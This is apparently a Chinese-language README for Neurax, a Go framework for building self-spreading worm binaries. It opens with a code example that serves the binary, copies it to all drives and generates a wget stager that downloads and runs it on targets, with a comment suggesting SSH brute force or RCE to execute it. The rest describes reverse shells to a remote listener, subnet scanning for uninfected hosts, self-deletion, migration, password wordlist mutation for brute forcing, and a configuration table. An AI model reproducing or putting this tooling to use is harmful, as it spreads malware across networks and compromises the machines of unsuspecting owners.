一个帮助创建自传播软件的框架
借助 Neurax,Golang 二进制文件无需使用任何外部服务器即可在局域网/广域网上传播。
多样化的配置选项和命令启动器允许在各种无线环境中快速传播。
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//指定服务端口和使用的启动器
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//在后台启动一个服务器,暴露当前二进制文件
go NeuraxServer()
//将当前二进制文件复制到所有逻辑驱动器
NeuraxDisks()
//创建一个命令启动器,应在目标机器上启动
//它将下载、解码并执行二进制文件
cmd_stager := NeuraxStager()
/* 现在你需要以某种方式执行上面生成的命令。
你可以使用 SSH 暴力破解、某些 RCE 或任何你想要的方法 ;> */
}
unlinkat(2) 自动自删除N.StagerBg)N.NoInfectCheck 用于禁用检查主机是否已被感染。NeuraxServer() 内放置独占文件互斥锁来强制执行。httrack 启动器N.StagerRemovalDelay).FastScan 选项,使主动扫描稍快NeuraxScan() 接受回调函数而不是通道作为参数NeuraxScan() 在无限循环中扫描,可以设置整个子网/目标池每次扫描之间的间隔NeuraxConfig. 变为 N.(因为输入更短)wget + curl).WordlistExpand 等选项)函数 NeuraxScan(func(string)) 能够检测本地网络上的活动主机。
它的唯一参数是一个回调函数,该函数在后台对每个活动主机调用。
当主机至少有一个开放端口、未被感染且满足 N. 中指定的条件时,该主机被视为活动主机。
NeuraxScan() 以无限循环运行——它扫描由 .Cidr 配置条目指定的整个子网,当每个主机都被扫描后,函数休眠 .ScanInterval 中给定的间隔。
Neurax 二进制文件不一定需要通过网络方式复制自身。
函数 NeuraxDisks() 将当前二进制文件(以非可疑名称)复制到所有找到的逻辑驱动器。
复制的二进制文件不会被执行,只是驻留在目标位置等待运行。
如果无法获取磁盘列表或无法复制到任何目标,NeuraxDisks() 返回一个 error。
另一个函数 NeuraxZIP(num_files int) err 允许创建一个随机命名的 .zip 压缩包,其中包含当前二进制文件。
它保存在当前目录中,并包含最多 num_files 个随机文件。
NeuraxZIPSelf() 仅压缩当前二进制文件,创建一个同名的压缩包。
可以使用 NeuraxReverse() 建立交互式反向 shell。
它将从 .ReverseListener 中指定的主机名(格式为 "<host>:<port>")接收命令。
使用的协议由 .ReverseProto 定义。
如果在调用此函数之前启动了 NeuraxOpenComm(),每个命令的行为将如上节所述。
如果没有启动,命令将在本地执行。
注意:此函数也应作为 goroutine 运行,以防止由用于接收的无限循环引起的阻塞。
每当节点收到 "purge" 命令时,它会将此命令重新发送给所有其他节点,从主机上移除自身并退出。
此行为也可以通过源代码中的 NeuraxPurge() 启动。
如果你选择的传播向量基于某种暴力破解,准备好一个合适的词典是很好的。
将单词存储在客户端文本文件中并不高效,因此你可以使用 NeuraxWordlist(...words) []string 来变异一个基础词典。
要对一组给定单词进行排列,请使用 NeuraxWordlistPermute(..words) []string。
如果你希望二进制文件在给定时间后移除自身,请在代码开头使用 NeuraxSetTTL()。
此函数应作为 goroutine 启动。
例如:
go NeuraxSetTTL("2m")
将使二进制文件在初始执行后 2 分钟运行 NeuraxPurgeSelf()。
如果你想链式使用给定平台的所有可用启动器,请将 .Stager 设置为 "chain"。
如果你需要在初始执行后复制二进制文件,请使用 NeuraxMigrate(path string)。
它会将二进制文件复制到 path 下,移除当前二进制文件,并执行新迁移的二进制文件。
如果你喜欢这个项目并希望看到它成长,请考虑进行小额捐赠 :>
此软件采用 MIT 许可证
| 名称 | 描述 | 默认值 |
|---|
| Nrx.Config.Stager | 要使用的命令启动器的名称 | 随机,兼容平台 |
| Nrx.Config.StagerSudo | 如果为 true,Linux 命令启动器将以提升的权限执行 | false |
| Nrx.Config.StagerRetry | 重新执行命令启动器的次数 | 0 |
| Nrx.Config.StagerRemoveDelay | 在删除下载的二进制文件之前应用休眠指令 | true |
| Nrx.Config.Port | 服务端口 | 6741 |
| Nrx.Config.Platform | 目标平台 | 自动检测 |
| Nrx.Config.Path | 二进制文件在主机上保存的路径 | . |
| Nrx.Config.FileName | 下载的二进制文件服务并保存的名称 | 随机 |
| Nrx.Config.Base64 | 对传输的二进制文件进行 base64 编码 | false |
| Nrx.Config.CommPort | 二进制文件之间通信使用的端口 | 7777 |
| Nrx.Config.CommProto | 节点间通信协议 | "udp" |
| Nrx.Config.ReverseListener | 包含远程反向 shell 处理程序的 "<host>:<port>" | 未指定 |
| Nrx.Config.ReverseProto | 用于反向连接的协议 | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() 仅在目标开放特定端口时才将其视为活动主机 | 无 |
| Nrx.Config.ScanPassive | NeuraxScan() 使用被动 ARP 流量监控检测主机 | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() 监视 ARP 层的秒数 | 50 秒 |
| Nrx.Config.ScanPassiveIface | 被动扫描时使用的接口 | 默认 |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() 在每个线程中将此值设置为扫描端口的超时时间 | 2 秒 |
| Nrx.Config.ScanPassiveAll | NeuraxScan() 捕获所有发现设备上的数据包 | false |
| Nrx.Config.ScanPassiveNoArp | 被动扫描不设置严格的 ARP 捕获过滤器 | false |
| Nrx.Config.ScanFirst | 包含优先扫描的 IP 地址的切片 | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() 仅扫描 .ScanFirst 中指定的主机 | false |
| Nrx.Config.ScanArpCache | NeuraxScan() 首先扫描本地 ARP 缓存中找到的主机。仅适用于主动扫描 | false |
| Nrx.Config.ScanCidr | NeuraxScan() 扫描此 CIDR | 本地 IP + "\24" |
| Nrx.Config.ScanActiveThreads | 用于 NeuraxScan() 的线程数 | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() 扫描目标主机的所有端口以确定其是否活动 | 从 19 到 300 |
| Nrx.Config.ScanInterval | 在扫描整个子网之前休眠的时间间隔 | "2m" |
| Nrx.Config.ScanHostInterval | 在主动模式下扫描下一个主机之前休眠的时间间隔 | "none" |
| Nrx.Config.ScanGatewayFirst | 使用主动扫描时,网关是第一个被扫描的主机 | false |
| Nrx.Config.Verbose | 如果为 true,所有错误信息将输出到 STDOUT | false |
| Nrx.Config.Remove | 当发生任何错误时,二进制文件将自身从主机上移除 | false |
| Nrx.Config.PreventReexec | 如果为 true,当任何命令与之前已接收的命令匹配时,不执行该命令 | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() 对输入单词执行非标准转换 | false |
| Nrx.Config.WordlistCommon | 将 20 个最常见密码添加到词典开头 | false |
| Nrx.Config.WordlistCommonNum | 要使用的常见密码数量 | 全部 |
| Nrx.Config.WordlistCommonCountries | 包含国家代码和要使用的密码数量的 map[string]int | map[string]int |
| Nrx.Config.WordlistMutators | 当指定 .WordlistExpand 时使用的变异器 | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | NeuraxWordlistPermute() 生成的排列最大长度 | 2 |
| Nrx.Config.WordlistPermuteSeparator | 用于排列的分隔符字符 | "-" |
| Nrx.Config.WordlistShuffle | 在返回之前打乱生成的词典 | false |
| Nrx.Config.AllocNum | 此条目定义 NeuraxAlloc() 分配随机内存的次数 | 5 |
| Nrx.Config.Blacklist | 包含被排除在任何扫描之外的 IP 地址的切片 | []string{} |
| Nrx.Config.FastHTTP | IsHostInfected() 中的 HTTP 请求使用 fasthttp 库执行 | false |
| Nrx.Config.Debug | 启用调试信息 | false |
| Nrx.Config.NoInfectCheck | 禁用检查主机是否已感染 | true |